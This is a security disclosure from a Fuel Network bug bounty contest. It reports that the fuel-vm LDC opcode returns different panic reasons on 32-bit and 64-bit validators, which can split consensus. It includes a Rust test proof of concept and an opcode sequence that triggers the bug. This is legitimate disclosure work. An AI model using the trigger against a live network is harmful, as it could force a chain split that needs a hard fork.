Attackathon _ Fuel Network 32825 - [Blockchain_DLT - High] Consensus between -bit and -bit system ca

Submitted on Thu Jul 04 2024 07:53:29 GMT-0400 (Atlantic Standard Time) by @ret2happy for Attackathon | Fuel Network

Report ID: #32825

Report type: Blockchain/DLT

Report severity: High

Target: https://github.com/FuelLabs/fuel-vm/tree/0e46d324da460f2db8bcef51920fb9246ac2143b

Impacts:

• Unintended permanent chain split requiring hard fork (network partition requiring hard fork)

Description

Consensus between 32-bit and 64-bit system can fail

Brief/Intro

Consensus between 32bit and 64bit systems might fail due to a failure type conversion in the LDC opcode implementation [1]. Executing malicious LDC opcode leads to the different result (PanicReason) on validators with different architecture.

Vulnerability Details

In the interpreter/blockchain.rs#L597-L607 [1], the loaded contract length is the 64-bit register value. However, it uses padded_len_usize to convert u64 to usize. Note that usize can either be 32 bit or 64 bit depending on the architecture.

• If the validators running on the 32-bit system (e.g., wasm), the usize here is u32, and this would cause PanicReason::MemoryOverflow as the following code shows.

• If the validators running on the 64-bit system, the usize here is u64, and try_into conversion will success.

Consider we already set the $rC to u64::MAX (will demonstrate it more detail in PoC), we will get PanicReason::MemoryOverflow on 32-bit system, and get PanicReason::ContractMaxSize on 64-bit system.

        let length = bytes::padded_len_usize(
            length_unpadded
                .try_into() // On 32-bit system, this try_into will fail since we fail to convert a large u64 value (e.g., u64::MAX) to u32
                            // while on 64-bit system, this conversion never failed 
                .map_err(|_| PanicReason::MemoryOverflow)?,
        )        
        .map(|len| len as Word)
        .unwrap_or(Word::MAX);

        if length > self.contract_max_size {
            return Err(PanicReason::ContractMaxSize.into())
        }

Impact Details

Since executing the same program result in different panic reason on different validators, the consensus is broken. More specifically, because the receipt contains the panic reason and ultimately influences the block header hash, the block header hash will be incorrect. This would read to the network fork.

References

[1] https://github.com/FuelLabs/fuel-vm/blob/ae91bbdc804b870a84efe0bc6d18f43a79f351e7/fuel-vm/src/interpreter/blockchain.rs#L597-L607

Proof of concept

Proof of Concept

The following PoC get PanicReason::ContractMaxSize on a 64bit system but get PanicReason::MemoryOverflow on a 32bit system.

// please add this to the `fuel-vm/src/interpreter/blockchain/code_tests.rs` for testing
#[test]
fn test_load_contract_with_truncation() -> IoResult<(), Infallible> {
    let mut storage = MemoryStorage::default();
    let mut memory: MemoryInstance = vec![1u8; MEM_SIZE].try_into().unwrap();
    let mut pc = 4;
    let mut cgas = 1000;
    let mut ggas = 1000;
    let mut ssp = 1000;
    let mut sp = 1000;
    let fp = 32;
    let is = 0;
    let hp = VM_MAX_RAM;

    let contract_id = ContractId::from([4u8; 32]);

    let contract_id_mem_address: Word = 32;
    let offset = 20;
    let num_bytes = u64::MAX; //40;
    const CONTRACT_SIZE: u64 = 400;

    memory[contract_id_mem_address as usize
        ..contract_id_mem_address as usize + ContractId::LEN]
        .copy_from_slice(contract_id.as_ref());
    storage
        .storage_contract_insert(
            &contract_id,
            &Contract::from(vec![5u8; CONTRACT_SIZE as usize]),
        )
        .unwrap();

    let mut panic_context = PanicContext::None;
    let input_contracts = [contract_id];
    let input_contracts = input_contracts.into_iter().collect();
    let input = LoadContractCodeCtx {
        contract_max_size: 100,
        storage: &storage,
        memory: &mut memory,
        context: &Context::Call {
            block_height: Default::default(),
        },
        profiler: &mut Profiler::default(),
        input_contracts: InputContracts::new(&input_contracts, &mut panic_context),
        gas_cost: DependentCost::from_units_per_gas(13, 1),
        cgas: RegMut::new(&mut cgas),
        ggas: RegMut::new(&mut ggas),
        ssp: RegMut::new(&mut ssp),
        sp: RegMut::new(&mut sp),
        hp: Reg::new(&hp),
        fp: Reg::new(&fp),
        pc: RegMut::new(&mut pc),
        is: Reg::new(&is),
    };
    input.load_contract_code(contract_id_mem_address, offset, num_bytes)?;
    Ok(())
}

To test conveniently on the 32-bit system, I add the padded_len_usize_32bit function to simulate the u32 type for 32-bit system, in the fuel-types/src/bytes.rs:

#[allow(clippy::arithmetic_side_effects)] // Safety: (a % b) < b
pub const fn padded_len_usize_32bit(len: u32) -> Option<u32> {
    let modulo = len % WORD_SIZE as u32;
    if modulo == 0 {
        Some(len)
    } else {
        let padding = WORD_SIZE as u32 - modulo;
        len.checked_add(padding)
    }
}

And I also change the fuel-vm/src/interpreter/blockchain.rs#L597 from padded_len_usize to padded_len_usize_32bit:

let length = bytes::padded_len_usize_32bit(
    length_unpadded
        .try_into()
        .map_err(|_| PanicReason::MemoryOverflow)?,
)

Runnning the above PoC, we get different result on 32/64-bit system.

Moreover, the simplified fuel PoC program could be:

op::movi(reg_a, count), // r[a] := ContractId::LEN
op::aloc(reg_a),        // Reserve space for contract id in the heap
op::move_(reg_a, RegId::HP),         // r[a] := $hp // id
op::movi(reg_b, 0),             // r[b] = 0 // offset
op::subi(reg_c, reg_c, 1),         // r[c] := u64::MAX // len
op::ldc(reg_a, reg_b, reg_c),        // Load first two words from the contract
op::lw(reg_c, RegId::FP, 0x240 / 8), // r[c] := code_size